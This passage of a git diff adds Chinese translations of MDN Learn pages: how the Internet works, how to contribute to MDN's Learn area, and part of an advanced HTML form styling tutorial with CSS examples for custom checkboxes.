Properties(字体属性)过滤想要的字体<em>。</em></li> + <li>在列出的字体风格列表中,选择合适的粗细、是否倾斜等信息。</li> + <li>在右侧边栏中可以看到 Google 给出的代码片段,将其复制到文本编辑器就可以使用了。</li> +</ol> + +<p><img alt="Google 字体设置" src="https://mdn.mozillademos.org/files/17384/Google_Font.gif" style="height: 785px; width: 850px;"></p> + +<div class="blockIndicator note"> +<p>译注:若无法访问 Google Fonts,可参考 <a href="https://www.taobao.com/markets/fuwu/fontmarket_freefonts">阿里字体素材平台</a>。</p> +</div> + +<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li id="Installing_basic_software"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基础软件</a></li> + <li id="What_will_your_website_look_like"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">设计网站外观</a></li> + <li id="Dealing_with_files"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a></li> + <li id="HTML_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML 基础</a></li> + <li id="CSS_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS 基础</a></li> + <li id="JavaScript_basics"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 基础</a></li> + <li id="Publishing_your_website"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/Publishing_your_website">发布网站</a></li> + <li id="How_the_web_works"><a href="/zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works">Web 工作机制</a></li> +</ul> diff --git a/files/zh-cn/learn/how_the_internet_works/index.html b/files/zh-cn/learn/how_the_internet_works/index.html new file mode 100644 index 0000000000..ab8eee6e1a --- /dev/null +++ b/files/zh-cn/learn/how_the_internet_works/index.html @@ -0,0 +1,91 @@ +--- +title: 互联网是如何工作的 +slug: learn/How_the_Internet_works +translation_of: Learn/Common_questions/How_does_the_Internet_work +--- +<div class="summary"> +<p> 这篇文章讨论什么是互联网以及它是如何工作的.</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>无,但是鼓励先去阅读 <a href="/zh-CN/docs/learn/常见问题/Thinking_before_coding">关于设定项目目标的文章</a></td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>你将会学习到网络的基础技术,以及它与互联网的区别.</td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p>互联网是网络的支柱,以这种技术为基础使网络成为可能。作为基础,互联网是把电脑互相连接起来的一个巨大网络。</p> + +<p><a href="http://en.wikipedia.org/wiki/Internet#History" rel="external">互联网的历史有些模糊不清</a>。它始于1960年美国军方资助的研究项目。1980年在许多公共大学和公司的支持下,它演变为一种公共基础设施。随着时间的变化,各种各样的技术支持着互联网的发展,但是它的工作方式却没有改变多少:互联网确保所有的电脑之间的连接,无论发生什么他们依旧保持连接。</p> + +<h2 id="自主学习">自主学习</h2> + +<ul> + <li><a href="https://www.youtube.com/watch?v=7_LPdttKXPc" rel="external">五分钟告诉你互联网是如何工作的</a>: Aaron Titus在五分钟的一个视频中告诉你非常基础的互联网知识.</li> +</ul> + +<h2 id="深入探索">深入探索</h2> + +<h3 id="一个简单的网络">一个简单的网络</h3> + +<p>当两台电脑需要通信的时候,你必须要连接他们,无论通过有线方式(通常是<a href="http://en.wikipedia.org/wiki/Ethernet_crossover_cable" rel="external">网线</a>) 还是无线方式(比如 <a href="http://en.wikipedia.org/wiki/WiFi" rel="external">WiFi</a> 或 <a href="http://en.wikipedia.org/wiki/Bluetooth" rel="external">蓝牙</a> )。所有现代电脑都支持这些连接。</p> + +<div class="note"> +<p><strong>提示:</strong> 接下来的内容,我们将只谈论有线连接, 而无线连接的原理与此相同。</p> +</div> + +<p><img alt="Two computers linked together" src="https://mdn.mozillademos.org/files/8441/internet-schema-1.png" style="height: 152px; width: 600px;"></p> + +<p>通常一个网络不仅限于两台电脑。你可以尽你所想地连接电脑,但是情况立刻变得复杂了。如果你尝试连接,比如说十台电脑,每台电脑有九个插头,总共需要45条网线。</p> + +<p><img alt="Ten computers all together" src="https://mdn.mozillademos.org/files/8443/internet-schema-2.png" style="height: 576px; width: 600px;"></p> + +<p>为了解决这个问题,网络上的每台电脑需要链接到一个叫做路由器(<em>router</em>)的特殊小电脑。路由器只干一件事:就像火车站的信号员,它要确保从一台电脑上发出的一条信息可以到达正确的电脑。为了把信息发送给电脑B,电脑A必须把信息发送给路由器,路由器将收到的信息转发给电脑B,并且确保信息不会发送给电脑C。</p> + +<p>一旦我们把路由器加入到这个系统,我们的网络中便只需要十条网线:每台电脑一个插口,路由器上十个插口。</p> + +<p><img alt="Ten computers with a router" src="https://mdn.mozillademos.org/files/8445/internet-schema-3.png" style="height: 576px; width: 600px;"></p> + +<h3 id="网络中的网">网络中的网</h3> + +<p>到目前为止一切都很好 . 但是我们要连接成百上千,上亿台电脑呢? 当然一台路由器覆盖不了这么远, 但是,如果你阅读得比较认真,我们曾提到路由器像其他电脑一样,所以我们为什么不把两个路由器彼此连接呢?</p> + +<p><img alt="Two routers linked together" src="https://mdn.mozillademos.org/files/8447/internet-schema-4.png"></p> + +<p>我们把电脑连接路由器, 接着路由器连接路由器,我们就会有无穷的规模。</p> + +<p><img alt="Routers linked to routers" src="https://mdn.mozillademos.org/files/8449/internet-schema-5.png" style="height: 563px; width: 600px;"></p> + +<p>这样网络越来越接近我们所说的互联网 ,但是我们遗漏了一些东西。我们建立网络是为了我们自己的目的。所以不同的人会建立不同的网络:你的朋友,你的邻居,每个人都可以拥有自己的计算机网络。在你的房子和世界其它地方之间架设电缆将这些不同的网络连接起来是不可能的,那么你该如何处理这件事呢?其实已经有电缆连接到你的房子了,比如,电线和电话。电话基础设施已经可以把你家连接到世界的任何角落,所以它就是我们需要的线。为了连接电话这种网络我们需要一种基础设备叫做调制解调器(<em>modem</em>),调制解调器可以把网络信息变成电话设施可以处理的信息,反之亦然。</p> + +<p><img alt="A router linked to a modem" src="https://mdn.mozillademos.org/files/8451/internet-schema-6.png" style="height: 340px; width: 600px;"></p> + +<p>这样,我们可以通过电话基础设施相互连接。下一步是把信息从我们的网络发送到我们想要到达的地方。为了做这些,我们需要把我们的网络连接到互联网服务提供商(ISP)。ISP是一家可以管理一些特殊的路由器的公司,这些路由器连接其他ISP的路由器. 你的网络消息可以被ISP捕获并发送到相应的网络。互联网就是由这些所有的网络设施所组成。</p> + +<p><img alt="Full Internet stack" src="https://mdn.mozillademos.org/files/8453/internet-schema-7.png" style="height: 1293px; width: 340px;"></p> + +<h3 id="寻找电脑">寻找电脑</h3> + +<p>如果你想给一台电脑发送一条信息,你必须指明它是哪台电脑。因此,任何连接到网络中的电脑都需要有一个唯一的地址来标记它,叫做 "IP 地址" (IP代表网络协议)。这个地址由四部分被点分隔的数字序列组成,比如:<code>192.168.2.10。</code></p> + +<p>对于电脑这样已经很好了,但是人类却很难记忆这一串地址。为了简单处理,我们给IP地址取一个容易阅读的别名:域名。比如,<code>google.com</code> 被用于IP地址 <code>172.217.7.14。</code>这样我们通过这些域名可以很容易的通过网络连接到电脑.</p> + +<h3 id="互联网(Internet)和网络(web)">互联网(Internet)和网络(web)</h3> + +<p>你可能注意到了, 当我们通过浏览器上网的时候,我们通常是用域名去到达一个网站。这是否意味着互联网(Internet)和网络(Web)是一样的?事实并非这么简单。正如向我们所见,互联网是一种基础的技术,它允许我们把成千上万的电脑连接在一起。在这些电脑中,有 一些电脑(我们称之为网络服务器(<em>Web servers</em>))可以发送一些浏览器可以理解的信息。互联网是基础设施,网络是建立在这种基础设施之上的服务。值得注意的是,一些其他服务运行在互联网之上,比如邮箱和{{Glossary("IRC")}}.</p> + +<h2 id="下一步">下一步</h2> + +<ul> + <li><a href="/zh-CN/Learn/Getting_started_with_the_web/How_the_Web_works">网络怎样工作</a></li> + <li><a href="/zh-CN/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">理解网页,网站,网络服务器和搜索引擎之间的不同</a></li> + <li><a href="/zh-CN/docs/Learn/Common_questions/What_is_a_domain_name">理解域名</a></li> +</ul> diff --git a/files/zh-cn/learn/how_to_contribute/index.html b/files/zh-cn/learn/how_to_contribute/index.html new file mode 100644 index 0000000000..73d806a1b6 --- /dev/null +++ b/files/zh-cn/learn/how_to_contribute/index.html @@ -0,0 +1,85 @@ +--- +title: 如何向MDN的学习区做贡献 +slug: learn/How_to_contribute +tags: + - MDN 元信息 + - 初学者 + - 学习 + - 引导 + - 指南 + - 文档 + - 贡献 +translation_of: Learn/How_to_contribute +--- +<div>{{LearnSidebar}}</div> + +<p>可能您是第一次看到这个页面,也可能您经过层层搜索而来。我们猜测您找到这里,是希望向 MDN 学习区做贡献——棒极了!</p> + +<p><span class="seoSummary">这篇文档将告诉您如何提高 MDN 学习区资料的质量。您可以做的事情各种各样,取决于您有多少时间,以及您的身份:<a href="/zh_CN/Learn/How_to_contribute#I'm_a_beginner">初学者</a>、<a href="/zh_CN/Learn/How_to_contribute#I'm_a_web_developer">Web 开发者</a>,还是<a href="/zh_CN/Learn/How_to_contribute#I'm_a_teacher">教师</a>。</span></p> + +<div class="note"> +<p><strong>注意</strong>:这篇指南会告诉您<a href="/zh-CN/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">如何撰写文章来帮助他人学习 Web</a>。</p> +</div> + +<h2 id="寻找特定任务">寻找特定任务</h2> + +<p><strong>贡献者向学习区做出贡献的方法通常是阅读文章、修复排版错误并提出改进。我们同时欢迎您向我们的 <a href="https://github.com/mdn/learning-area/">GitHub 源 </a>添加示例。若您还想了解需要做的其他事项,请与我们联系。</strong></p> + +<p>在学习新知识的同时做出贡献是一件乐趣无穷的事。如果您感到迷茫或者有疑问,不用犹豫,通过<a href="/zh-CN/docs/MDN/Community#Join_our_mailing_lists">邮件列表</a>或 <a href="/zh-CN/docs/MDN/Community#Get_into_IRC">IRC 频道</a>联系我们(本页底部有更详细的信息)。<a href="/en-US/profiles/chrisdavidmills">Chris Mills</a> 是学习区的主题发布人——您也可以直接和他联系。</p> + +<p>以下章节为您的任务提供概要思路。</p> + +<h2 id="我是初学者">我是初学者</h2> + +<p>好极了!对于创建学习资源和提供反馈,初学者们至关重要。作为目标受众,您对这些文章具有独特的视角,这让您成为我们团队中的无价之宝。真的,如果您正在通过某篇文章学习知识却卡住了,或者您觉得这篇文章看起来有点令人费解,您既可以自行改正,也可以把问题告诉我们以便我们去改正它。</p> + +<p>下面是几种建议的贡献方式:</p> + +<dl> + <dt><a href="/zh-CN/docs/MDN/Contribute/Howto/Tag">为文章添加标签</a>(<em>5 分钟</em>)</dt> + <dd>为文章添加标签是最简单的贡献方式。利用标签来呈现信息是我们的特色之一,因此添加标签对我们来说是非常有价值的贡献方式。您可以先从还没有标签的<a href="/zh-CN/docs/MDN/Doc_status/Glossary#No_tags">词汇条目</a>和<a href="/zh-CN/docs/MDN/Doc_status/Learn#No_tags">学习文章</a>开始。</dd> + <dt><a href="/zh_CN/docs/Glossary">阅读并复核词汇条目</a>(<em>5 分钟</em>)</dt> + <dd>我们希望,作为初学者的您能用您的视角来审视我们所写的内容。如果您感到某个词汇条目难以理解,这说明该条目需要改进。您可以做任何觉得有必要的修改。如果您感到自己的技能不足以修改词汇条目,也可以通过<a href="/zh-CN/docs/MDN/Community#Join_our_mailing_lists">邮件列表</a>告诉我们。</dd> + <dt><a href="/zh-CN/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">撰写词汇条目</a>(<em>20 分钟</em>)</dt> + <dd>这是学习新知识的最有效的方式了。挑选一个想要深入了解的概念,根据您所学的,撰写关于这个概念的词汇条目。“向他人解释”,这是巩固已学知识的最佳方式之一,既帮助您深入理解,同时也帮助了他人。这就是共赢!</dd> + <dt><a href="/zh_CN/docs/Learn/Index">阅读并复核学习文章</a>(<em>2 小时</em>)</dt> + <dd>这与上述“复核词汇条目”非常类似,只是由于文章更长,因此要花更多时间。</dd> +</dl> + +<h2 id="我是_Web_开发者">我是 Web 开发者</h2> + +<p>太棒了!我们太需要您的专业技能了,这确保我们向初学者提供的内容技术准确。考虑到这部分内容用于供他人学习,我们希望您提供的解释尽可能表述简单,但又不至于无用。我们首先考虑易于理解,而非过度精确。</p> + +<dl> + <dt><a href="/zh_CN/docs/Glossary">阅读并复核词汇条目</a>(<em>5 分钟</em>)</dt> + <dd>我们希望作为 Web 开发者的您,能让我们的文章内容技术准确而又不至于太学究气息。您可以做任何认为有必要的修改。如果您想在编辑前讨论内容,可以通过<a href="/zh-CN/docs/MDN/Community#Join_our_mailing_lists">邮件列表</a>或 <a href="/zh-CN/docs/MDN/Community#Get_into_IRC">IRC 频道</a>联系我们。</dd> + <dt><a href="/zh_CN/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">撰写词汇条目</a>(<em>20 分钟</em>)</dt> + <dd>阐述技术词汇是一种很好的学习方法,它能帮助您用准确而简单的方式把握技术细节。初学者非常需要准确清晰的术语定义。我们有许多<a href="/zh-CN/docs/Glossary#Contribute">缺乏定义的术语</a>需要您来完善,请放手去做吧!</dd> + <dt><a href="/zh-CN/Learn/Index">阅读并复核学习文章</a> (<em>2 小时</em>)</dt> + <dd>这与上述“复核词汇条目”一样,只是由于文章更长,因此要花更多时间。</dd> + <dt><a href="/zh-CN/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">撰写学习文章</a> (<em>4 小时或者更多</em>)</dt> + <dd>MDN 缺少朴素直白的文章以介绍如何使用 Web 技术(<a href="/zh-CN/docs/Learn/CSS">HTML</a>、<a href="/zh-CN/docs/Learn/CSS">CSS</a>、<a href="/zh-CN/docs/Learn/JavaScript">JavaScript</a> 等等)。我们还有很多陈旧的文档内容,需要复核或重构。发挥您的聪明才智,造福 Web 技术初学者吧!</dd> + <dt><a href="/zh-CN/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">创建练习、代码样例或交互式学习工具</a> (<em>? 小时</em>)</dt> + <dd>亲自实践的学习效果更佳,因此我们希望所有的学习文章都包含“主动学习 (active learning)”材料,比如练习、或者交互式内容。这些材料能够帮助用户熟练运用文章中详述的概念。制作“主动学习”材料的方式很多,比如使用 <a href="http://jsfiddle.net" rel="external">JSFiddle</a> 或类似工具创建代码样例,或者使用 <a href="https://thimble.mozilla.org/" rel="external">Thimble</a> 构建可解析的交互式内容。总而言之,释放您的创造力吧!</dd> +</dl> + +<h2 id="我是教师">我是教师</h2> + +<p>MDN 长期以来都拥有卓越的技术,但对于传授知识的最佳方法,我们仍然缺乏深刻的见解。我们需要教育工作者的参与,从而确保我们的材料为读者提供良好而实用的教育方法。</p> + +<dl> + <dt><a href="/zh-CN/docs/Glossary">阅读并复核词汇条目</a> (<em>15 分钟</em>)</dt> + <dd>检查词汇条目,并对任何您认为有必要的地方进行修改。如果您想在编辑前讨论内容,可以通过可以通过<a href="/zh-CN/docs/MDN/Community#Join_our_mailing_lists">邮件列表</a>或 <a href="/zh-CN/docs/MDN/Community#Get_into_IRC">IRC 频道</a>联系我们。</dd> + <dt><a href="/zh-CN/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">撰写词汇条目</a> (<em>1 小时</em>)</dt> + <dd>为了满足初学者的需求,在词汇表中对术语进行清晰简明的定义、对概念进行基本总体的描述至关重要。您的教育经验对于创建优秀的词汇条目大有裨益;我们有许多<a href="/zh-CN/docs/Glossary#Contribute">缺乏定义的术语</a>需要您来完善,请放手去做吧!</dd> + <dt><a href="/zh-CN/docs/tag/needsSchema">向文章中添加插图或图表</a> (<em>1 小时</em>)</dt> + <dd>您一定了解图表在学习材料中的价值。我们的文章内容总是缺乏图表,而您正好可以大展身手。您可以从<a href="/zh-CN/docs/tag/needsSchema">缺少图表内容的文章</a>中选择一些,为其创建插图。</dd> + <dt><a href="/zh-CN/Learn/Index">阅读并复核学习文章</a> (<em>2 小时</em>)</dt> + <dd>这与上述“复核词汇条目”类似,只是由于文章更长,因此要花更多时间。</dd> + <dt><a href="/zh-CN/docs/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web">撰写学习文章</a> (<em>4 小时</em>)</dt> + <dd>我们需要朴素直白的文章,介绍 Web 生态体系以及其他相关的功能主题。这些文章的目标是教育性,而非领域百科。文章应当涉及什么、如何表述,您在这方面的丰富经验大有帮助。</dd> + <dt><a href="/zh-CN/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">创建练习、测验或者交互式学习工具</a> (<em>? 小时</em>)</dt> + <dd>我们希望所有的学习文章都包含“主动学习 (active learning)”材料,比如练习、或者交互式内容。这些材料能够帮助用户学习并拓展理解文章中详述的概念。您可以做很多事情——创建测验、用 <a href="https://thimble.mozilla.org/" rel="external">Thimble</a> 构建可解析的交互式内容——总之,释放您的创造力吧!</dd> + <dt><a href="/zh-CN/docs/MDN/Contribute/Howto/Create_learning_pathways">创建学习路线</a> (<em>? 小时</em>)</dt> + <dd>为了提供循序渐进、易于理解的教程,我们需要把学习材料组织成体系化的路线。这个过程将收集已有的材料,并找出缺失的内容,然后用新文章填补空缺。</dd> +</dl> diff --git a/files/zh-cn/learn/html/forms/advanced_styling_for_html_forms/index.html b/files/zh-cn/learn/html/forms/advanced_styling_for_html_forms/index.html new file mode 100644 index 0000000000..94128b7229 --- /dev/null +++ b/files/zh-cn/learn/html/forms/advanced_styling_for_html_forms/index.html @@ -0,0 +1,467 @@ +--- +title: 高级设计 HTML 表单 +slug: Learn/HTML/Forms/Advanced_styling_for_HTML_forms +translation_of: Learn/Forms/Advanced_form_styling +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Forms/Styling_HTML_forms", "Learn/HTML/Forms/Property_compatibility_table_for_form_widgets", "Learn/HTML/Forms")}}</div> + +<p class="summary">在本文中,我们将看到<a href="https://developer.mozilla.org/en-US/docs/HTML">HTML</a>表单怎样使用<a href="https://developer.mozilla.org/en-US/docs/CSS">CSS</a>装饰难以定制的表单小部件。如<a href="/en-US/docs/HTML/Forms/Styling_HTML_forms">前面章节</a>所示,文本域和按钮完全可以使用CSS,现在我们将深入探索HTML表单样式。</p> + +<p>在继续之前,让我们回忆一下两种表单小部件:</p> + +<dl> + <dt>bad</dt> + <dd>这个元素很难设计,需要一些复杂的技巧,有时还涉及到高级的CSS3的知识。</dd> + <dt>ugly</dt> + <dd>忘记使用CSS来设计这些元素吧。你最多能做一点点事情,还不能保证可以跨浏览器,而且在它们出现时永远不能做到完全的受控。</dd> +</dl> + +<h2 id="CSS表现力">CSS表现力</h2> + +<p>除了文本框和按钮之外,使用其他表单小部件的主要问题是在许多情况下,CSS的表现不能满足设计复杂的小部件的要求。</p> + +<p>HTML和CSS最新的发展扩展了CSS的表现力:</p> + +<ul> + <li><a href="http://www.w3.org/TR/CSS21/selector.html#dynamic-pseudo-classes" rel="external" title="http://www.w3.org/TR/CSS21/selector.html#dynamic-pseudo-classes">CSS 2.1</a> 非常受限,只给出三个伪类: + + <ul> + <li>{{cssxref(":active")}}</li> + <li>{{cssxref(":focus")}}</li> + <li>{{cssxref(":hover")}}</li> + </ul> + </li> + <li><a href="http://www.w3.org/TR/css3-selectors/" rel="external" title="http://www.w3.org/TR/css3-selectors/">CSS Selector Level 3</a> 增加了三个与HTML表单相关的伪类: + <ul> + <li>{{cssxref(":enabled")}}</li> + <li>{{cssxref(":disabled")}}</li> + <li>{{cssxref(":checked")}}</li> + <li>{{cssxref(":indeterminate")}}</li> + </ul> + </li> + <li><a href="http://dev.w3.org/csswg/css3-ui/#pseudo-classes" rel="external" title="http://dev.w3.org/csswg/css3-ui/#pseudo-classes">CSS Basic UI Level 3</a> 也增加了几个伪类用于描述小部件的状态: + <ul> + <li>{{cssxref(":default")}}</li> + <li>{{cssxref(":valid")}}</li> + <li>{{cssxref(":invalid")}}</li> + <li>{{cssxref(":in-range")}}</li> + <li>{{cssxref(":out-of-range")}}</li> + <li>{{cssxref(":required")}}</li> + <li>{{cssxref(":optional")}}</li> + <li>{{cssxref(":read-only")}}</li> + <li>{{cssxref(":read-write")}}</li> + </ul> + </li> + <li><a href="http://dev.w3.org/csswg/selectors4/" rel="external" title="http://dev.w3.org/csswg/selectors4/">CSS Selector Level 4</a> 目前处于积极应用和重点讨论的状态,但并不打算为表单做更多的改善: + <ul> + <li>{{cssxref(":user-error")}} 只是改进了伪类{{cssxref(":invalid")}}。</li> + </ul> + </li> +</ul> + +<p>所有这一切是一个好的开端,但是有两个问题。首先,一些浏览器不需要实现CSS 2.1之上的特性。其次在设计像日期选择器这样的复杂的小部件时,这些实在不够好。</p> + +<p>浏览器厂家在CSS表现力在表单方面的扩展做了一些尝试,在某些情况下,知道什么可用也挺不错的。</p> + +<div class="warning"> +<p><strong>警告:</strong> 尽管 这些尝试很有趣,但<strong>它们是非标准的,也就是不可靠的。</strong>. 如果你使用它们(也许你并不常用),你要自己承担风险,使用非标准的属性<a href="http://www.alistapart.com/articles/every-time-you-call-a-proprietary-feature-css3-a-kitten-dies/" title="http://www.alistapart.com/articles/every-time-you-call-a-proprietary-feature-css3-a-kitten-dies/">对于Web并不是好事</a> 。</p> +</div> + +<ul> + <li><a href="/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions" title="/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions">Mozilla CSS 扩展</a> + + <ul> + <li>{{cssxref(":-moz-placeholder")}}</li> + <li>{{cssxref(":-moz-submit-invalid")}}</li> + <li>{{cssxref(":-moz-ui-invalid")}}</li> + <li>{{cssxref(":-moz-ui-valid")}}</li> + </ul> + </li> + <li><a href="/en-US/docs/CSS/CSS_Reference/Webkit_Extensions" title="/en-US/docs/CSS/CSS_Reference/Webkit_Extensions">WebKit CSS 扩展</a> + <ul> + <li>{{cssxref("::-webkit-input-placeholder")}}</li> + <li><a href="http://trac.webkit.org/wiki/Styling%20Form%20Controls" rel="external" title="http://trac.webkit.org/wiki/Styling Form Controls">其他</a></li> + </ul> + </li> + <li><a href="http://msdn.microsoft.com/en-us/library/ie/hh869403%28v=vs.85%29.aspx" rel="external" title="http://msdn.microsoft.com/en-us/library/ie/hh869403%28v=vs.85%29.aspx">Microsoft CSS 扩展</a> + <ul> + <li><code><a href="http://msdn.microsoft.com/en-us/library/ie/hh772745%28v=vs.85%29.aspx" rel="external" title="http://msdn.microsoft.com/en-us/library/ie/hh772745%28v=vs.85%29.aspx">:-ms-input-placeholder</a></code></li> + </ul> + </li> +</ul> + +<h3 id="控制表单元素的外观">控制表单元素的外观</h3> + +<p>基于WebKit(Chrome, Safari)和 Gecko(Firefox)的浏览器提供更高级的HTML部件定制。它们也实现了跨平台,因此需要一种方式把原生小部件转换为用户可设置样式的小部件。</p> + +<p>为此,它们使用了专有属性:{{cssxref("-webkit-appearance")}}或{{cssxref("-moz-appearance")}}。这<strong>些属性是非标准的,不应该使用。</strong>事实上,它们在WebKit 和Gecko中的表现也是不相同的。然而,有一个值很好用:<code>none</code>,用这个值,你(几乎完全)能控制一个已知小部件的样式。</p> + +<p>因此,如果你在应用一个元素的样式时遇到麻烦,可以尝试使用那些专有属性。我们下面有一些例子,这个属性最成功的例子是WebKit浏览器中的搜索域的样式:</p> + +<pre class="brush: html"><form> + <input type="search"> +</form></pre> + +<pre class="brush: css"><style> +input[type=search] { + border: 1px dotted #999; + border-radius: 0; + + -webkit-appearance: none; +} +</style></pre> + +<p>{{EmbedLiveSample("Controlling_the_appearance_of_form_elements", 250, 40)}}</p> + +<div class="note"> +<p><strong>注意:</strong>当我们谈及Web技术的时总是很难预测未来。扩展CSS表现力是很困难的,其他规范也做了一些探索性的工作,如<a href="http://dvcs.w3.org/hg/webcomponents/raw-file/tip/spec/shadow/index.html" rel="external" title="http://dvcs.w3.org/hg/webcomponents/raw-file/tip/spec/shadow/index.html">Shadow DOM</a>提供了一些观点。可完全设置样式的表单的问题还远未结束。</p> +</div> + +<h2 id="举例">举例</h2> + +<h3 id="复选框和单选按钮">复选框和单选按钮</h3> + +<p>独自设计复选框或单选按钮的样式是让人抓狂的。例如由于浏览器反应各不相同,在修改复选框和单选按钮的大小时,并不保证确实能改变它们。</p> + +<h4 id="一个简单的测试用例">一个简单的测试用例</h4> + +<p>让我们研究一下下面的测试用例:</p> + +<pre class="brush: html"><span><input type="checkbox"></span></pre> + +<pre class="brush: css">span { + display: inline-block; + background: red; +} + +input[type=checkbox] { + width : 100px; + height: 100px; +}</pre> + +<p>这里是不同的浏览器的处理方式:</p> + +<table> + <thead> + <tr> + <th scope="col">浏览器</th> + <th scope="col">视图</th> + </tr> + </thead> + <tbody> + <tr> + <td>Firefox 57 (Mac OSX)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15671/firefox-mac-checkbox.png"></td> + </tr> + <tr> + <td>Firefox 57 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15691/firefox-windows-checkbox.png"></td> + </tr> + <tr> + <td>Chrome 63 (Mac OSX)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15676/chrome-mac-checkbox.png"></td> + </tr> + <tr> + <td>Chrome 63 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15681/chrome-windows-checkbox.png"></td> + </tr> + <tr> + <td>Opera 49 (Mac OSX)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15701/opera-mac-checkbox.png"></td> + </tr> + <tr> + <td>Internet Explorer 11 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15696/ie11-checkbox.png"></td> + </tr> + <tr> + <td>Edge 16 (Windows 10)</td> + <td><img alt="" src="https://mdn.mozillademos.org/files/15686/edge-checkbox.png"></td> + </tr> + </tbody> +</table> + +<h4 id="更复杂的例子">更复杂的例子</h4> + +<p>由于Opera和Internet Explorer没有像{{cssxref("-webkit-appearance")}}或{{cssxref("-moz-appearance")}}这样的特性,使用它们是不合适的。幸运的是,CSS有足够多的表现方式可以找到解决方法。让我们做一个很普通的例子:</p> + +<pre class="brush: html"><form> + <fieldset> + <p> + <input type="checkbox" id="first" name="fruit-1" value="cherry"> + <label for="first">I like cherry</label> + </p> + <p> + <input type="checkbox" id="second" name="fruit-2" value="banana" disabled> + <label for="second">I can't like banana</label> + </p> + <p> + <input type="checkbox" id="third" name="fruit-3" value="strawberry"> + <label for="third">I like strawberry</label> + </p> + </fieldset> +</form></pre> + +<p>带有一些基本的样式:</p> + +<pre class="brush: css">body { + font: 1em sans-serif; +} + +form { + display: inline-block; + + padding: 0; + margin : 0; +} + +fieldset { + border : 1px solid #CCC; + border-radius: 5px; + margin : 0; + padding: 1em; +} + +label { + cursor : pointer; +} + +p { + margin : 0; +} + +p+p { + margin : .5em 0 0; +}</pre> + +<div class="note"> +<p><strong>注:下面的内容(仅限样式化 checkbox 部分)与英文版出入极大,猜测已经是过时内容</strong></p> +</div> + +<p>现在,让我们设计一个定制复选框的样式</p> + +<p>计划用自己的图像替换原生的复选框,首先需要准备复选框在所有状态下的图像,那些状态是:未选、已选、禁用不选、禁用已选。该图像将用作CSS精灵:</p> + +<p><img alt="Check box CSS Sprite" src="/files/4173/checkbox-sprite.png" style="height: 64px; width: 16px;"></p> + +<p>一开始要隐藏初始复选框。可以简单的把它们从页面视图中拿开。这里要考虑两个重要的事情:</p> + +<ul> + <li>不能用<code>display:none</code>来隐藏复选框,因为后面我们需要把复选框对用户可见。而使用<code>display:none</code>,用户不能再访问这个复选框,这就表示复选框不能选择或不选择。</li> + <li>我们将使用CSS3选择器来实现定制的样式,为了支持旧版浏览器,可以在所有选择器前设置{{cssxref(":root")}}伪类。目前所有我们需要支持的浏览器都支持{{cssxref(":root")}}伪类,但是其他的并不能保证。这是一个过滤旧的Internet Explorer的便利方式的例子。那些旧版浏览器将看到传统的复选框,而新式的浏览器可以看到定制的复选框。</li> +</ul> + +<pre class="brush: css">:root input[type=checkbox] { + /* original check box are push outside the viexport */ + position: absolute; + left: -1000em; +}</pre> + +<p>现在加上自己的图像就可以摆脱原来的复选框了,为此,要在初始的复选框后面加上{{HTMLElement("label")}}元素,并使用它的{{cssxref(":before")}}伪元素。因此在下面章节中,要使用<a href="/en-US/docs/CSS/Attribute_selectors" title="/en-US/docs/CSS/Attribute_selectors">selector属性</a>来选择复选框,然后使用<a href="/en-US/docs/CSS/Adjacent_sibling_selectors" title="/en-US/docs/CSS/Adjacent_sibling_selectors">adjacent sibling selector</a>来选择原有复选框后面的<code>label</code>。最后,访问{{cssxref(":before")}}伪元素来设计复选框显示定制样式。</p> + +<pre class="brush: css">:root input[type=checkbox] + label:before { + content: ""; + display: inline-block; + width : 16px; + height : 16px; + margin : 0 .5em 0 0; + background: url("https://developer.mozilla.org/files/4173/checkbox-sprite.png") no-repeat 0 0; + +/* The following is used to adjust the position of + the check boxes on the text baseline */ + + vertical-align: bottom; + position: relative; + bottom: 2px; +}</pre> + +<p>在初始复选框上使用{{cssxref(":checked")}}和{{cssxref(":disabled")}}伪类来改变定制复选框的状态。因为使用了CSS精灵,我们需要做的只是修改背景的位置。</p> + +<pre class="brush: css">:root input[type=checkbox]:checked + label:before { + background-position: 0 -16px; +} + +:root input[type=checkbox]:disabled + label:before { + background-position: 0 -32px; +} + +:root input[type=checkbox]:checked:disabled + label:before { + background-position: 0 -48px; +}</pre> + 